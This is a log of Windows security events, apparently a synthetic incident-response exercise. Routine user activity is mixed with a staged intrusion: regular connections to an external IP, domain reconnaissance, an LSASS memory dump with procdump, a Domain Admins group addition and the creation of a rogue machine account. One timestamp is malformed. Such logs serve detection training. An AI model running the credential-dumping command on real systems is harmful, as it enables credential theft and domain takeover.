-{"@timestamp":"2026-03-15T08:42:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":88,"protocol":"Kerberos","description":"Kerberos TGT renewal","category":"Network"} -{"@timestamp":"2026-03-15T08:44:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T08:46:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"msedge.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe --new-window","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:48:00.000Z","event_id":4624,"host":"APP-SRV01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard to APP-SRV01","category":"Authentication"} -{"@timestamp":"2026-03-15T08:50:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:52:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":8080,"protocol":"TCP","description":"Monitoring health check","category":"Network"} -{"@timestamp":"2026-03-15T08:54:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"teams.exe","parent_process":"explorer.exe","command_line":"C:\\Users\\a.leclerc\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:56:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"52.113.194.132","dst_port":443,"protocol":"TCP","description":"Teams telemetry outbound","category":"Network"} -{"@timestamp":"2026-03-15T09:00:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:02:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:04:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"m.martin","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon m.martin","category":"Authentication"} -{"@timestamp":"2026-03-15T09:06:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:08:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"40.101.91.160","dst_port":443,"protocol":"TCP","description":"Outlook Exchange Online","category":"Network"} -{"@timestamp":"2026-03-15T09:10:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:12:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"cmd.exe","parent_process":"services.exe","command_line":"cmd.exe /c net localgroup administrators","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:14:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net user /domain","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:16:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net group \"Domain Admins\" /domain","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:18:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:20:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:22:00.000Z","event_id":4624,"host":"DC01","user":"a.admin","logon_type":2,"source_ip":"192.168.10.20","description":"Admin interactive logon DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T09:24:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-ADGroupMember 'Domain Admins'","description":"Legitimate admin AD query","category":"Process"} -{"@timestamp":"2026-03-15T09:26:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.52","dst_port":389,"protocol":"LDAP","description":"LDAP query from APP-SRV01","category":"Network"} -{"@timestamp":"2026-03-15T09:28:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:30:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:32:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"excel.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE tableau_bord.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:34:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.45","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from workstation","category":"Network"} -{"@timestamp":"2026-03-15T09:36:00.000Z","event_id":4624,"host":"APP-SRV01","user":"f.petit","logon_type":3,"source_ip":"192.168.10.48","description":"Network logon f.petit","category":"Authentication"} -{"@timestamp":"2026-03-15T09:38:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":53,"protocol":"DNS","description":"DNS query to DC01","category":"Network"} -{"@timestamp":"2026-03-15T09:40:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:42:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:44:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"dcdiag.exe","parent_process":"cmd.exe","command_line":"dcdiag /test:replications","description":"DC diagnostic run by admin","category":"Process"} -{"@timestamp":"2026-03-15T09:46:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":443,"protocol":"TCP","description":"Monitoring HTTPS inbound","category":"Network"} -{"@timestamp":"2026-03-15T09:48:12.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_backup","logon_type":10,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} -{"@timestamp":"2026-03-15T09:48:30.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"cmd.exe","parent_process":"rdpclip.exe","command_line":"cmd.exe /c whoami /all","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:49:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:49:01.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"procdump.exe","parent_process":"cmd.exe","command_line":"procdump.exe -accepteula -ma lsass.exe C:\\Windows\\Temp\\mem.dmp","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:49:30.000Z","event_id":10,"host":"APP-SRV01","user":"svc_backup","source_process":"procdump.exe","target_process":"lsass.exe","call_trace":"C:\\Windows\\SYSTEM32\\ntdll.dll+MiniDumpWriteDump","description":"Process accessed","category":"Process"} -{"@timestamp":"2026-03-15T09:50:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:52:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:54:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:55:22.000Z","event_id":4769,"host":"DC01","user":"svc_backup","service_name":"krbtgt","ticket_encryption":"0x12","ticket_options":"0x40810010","client_ip":"192.168.10.52","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:55:23.000Z","event_id":4769,"host":"DC01","user":"svc_backup","service_name":"cifs/DC01","ticket_encryption":"0x12","ticket_options":"0x40800010","client_ip":"192.168.10.52","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:56:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net view /domain:CORP","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:58:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":88,"protocol":"Kerberos","description":"Kerberos request to DC01","category":"Network"} -{"@timestamp":"2026-03-15T10:00:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:02:14.000Z","event_id":4728,"host":"DC01","user":"svc_backup","target_user_sid":"S-1-5-21-1180699209-877415012-3182924384-1107","group_name":"Domain Admins","description":"A member was added to a security-enabled global group","category":"GroupManagement"} -{"@timestamp":"2026-03-15T10:02:15.000Z","event_id":4764,"host":"DC01","user":"svc_backup","group_name":"Domain Admins","description":"A group's type was changed","category":"GroupManagement"} -{"@timestamp":"2026-03-15T10:03:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:04:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T10:05:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:06:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T10:07:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net group \"Enterprise Admins\" /domain","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T10:08:44.000Z","event_id":4720,"host":"DC01","user":"svc_backup","new_account":"svc_update$","description":"A user account was created","category":"AccountManagement"} -{"@timestamp":"2026-03-15T10:08:46.000Z","event_id":4742,"host":"DC01","user":"svc_backup","target_account":"svc_update$","description":"A computer account was changed","category":"AccountManagement"} -{"@timestamp":"2026-03-15T10:08:48.000Z","event_id":5136,"host":"DC01","user":"svc_backup","object_dn":"CN=svc_update$,CN=Users,DC=CORP,DC=LOCAL","attribute_ldap":"servicePrincipalName","attribute_value":"HOST/svc_update$.corp.local","description":"A directory service object was modified","category":"DirectoryService"} -{"@timestamp":"2026-03-15T10:09:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:10:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:12:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-EventLog -LogName Security -Newest 50","description":"Legitimate admin event log check","category":"Process"} -{"@timestamp":"2026-03-15T10:14:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:16:00.000Z","event_id":4624,"host":"APP-SRV01","user":"m.martin","logon_type":3,"source_ip":"192.168.10.45","description":"Network logon m.martin","category":"Authentication"} -{"@timestamp":"2026-03-15T10:18:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.52","dst_port":445,"protocol":"SMB","description":"DC replication to APP-SRV01","category":"Network"} -{"@timestamp":"2026-03-15T10:20:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:22:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:24:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"teams.exe","parent_process":"explorer.exe","command_line":"C:\\Users\\p.bernard\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T10:26:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:28:00.000Z","event_id":4624,"host":"DC01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard to DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T10:30:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:32:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:34:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":636,"protocol":"LDAPS","description":"Secure LDAP monitoring inbound","category":"Network"} -{"@timestamp":"2026-03-15T10:36:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T10:38:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.47","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from p.bernard","category":"Network"} -{"@timestamp":"2026-03-15T10:40.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:42:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"eventvwr.msc","parent_process":"mmc.exe","command_line":"eventvwr.msc","description":"Event Viewer opened by admin","category":"Process"} -{"@timestamp":"2026-03-15T10:44:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:46:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"f.petit","logon_type":2,"source_ip":"192.168.10.48","description":"Interactive logon f.petit","category":"Authentication"} -{"@timestamp":"2026-03-15T10:48:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:50:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:52:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:54:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-Service | Format-Table -AutoSize","description":"Legitimate admin command","category":"Process"} -{"@timestamp":"2026-03-15T10:56:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:58:00.000Z","event_id":4624,"host":"APP-SRV01","user":"a.leclerc","logon_type":3,"source_ip":"192.168.10.45","description":"Network logon a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T11:00:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:02:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:04:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":53,"protocol":"DNS","description":"DNS query to DC01","category":"Network"} -{"@timestamp":"2026-03-15T11:06:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"excel.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE suivi_projet.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T11:08:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:10:00.000Z","event_id":4624,"host":"DC01","user":"a.admin","logon_type":3,"source_ip":"192.168.10.20","description":"Admin network logon to DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T11:12:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:14:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.48","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from f.petit workstation","category":"Network"} -{"@timestamp":"2026-03-15T11:16:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:18:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-ADComputer -Filter * | Select-Object Name,OperatingSystem","description":"Legitimate admin AD query","category":"Process"} -{"@timestamp":"2026-03-15T11:20:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:22:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:24:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"p.bernard","logon_type":2,"source_ip":"192.168.10.47","description":"Interactive logon p.bernard","category":"Authentication"} -{"@timestamp":"2026-03-15T11:26:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"52.113.194.132","dst_port":443,"protocol":"TCP","description":"Teams telemetry HTTPS","category":"Network"} -{"@timestamp":"2026-03-15T11:28:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:30:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:32:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"mstsc.exe","parent_process":"explorer.exe","command_line":"mstsc.exe /v:192.168.10.52 /f","description":"RDP client full screen to APP-SRV01","category":"Process"} -{"@timestamp":"2026-03-15T11:33:00.000Z","event_id":4624,"host":"APP-SRV01","user":"a.leclerc","logon_type":10,"source_ip":"192.168.10.45","description":"Remote interactive (RDP) logon - a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T11:34:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:36:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:38:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T11:40:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:42:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:44:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.45","dst_port":445,"protocol":"SMB","description":"DC to workstation SMB communication","category":"Network"} -{"@timestamp":"2026-03-15T11:46:00.000Z","event_id":4624,"host":"APP-SRV01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard","category":"Authentication"} -{"@timestamp":"2026-03-15T11:48:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:50:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:52:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:54:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe --profile-directory=Default","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T11:56:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:58:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":389,"protocol":"LDAP","description":"Monitoring LDAP query to DC01","category":"Network"} -{"@timestamp":"2026-03-15T12:00:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T12:02:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T12:04:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"notepad.exe","parent_process":"rdpclip.exe","command_line":"notepad.exe C:\\Logs\\app_errors.log","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T12:06:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T12:08:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T12:10:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T12:12:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T12:14:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"winword.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE synthese_incidents.docx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T12:16:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T12:18:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"13.107.42.14","dst_port":443,"protocol":"TCP","description":"Azure AD authentication","category":"Network"} 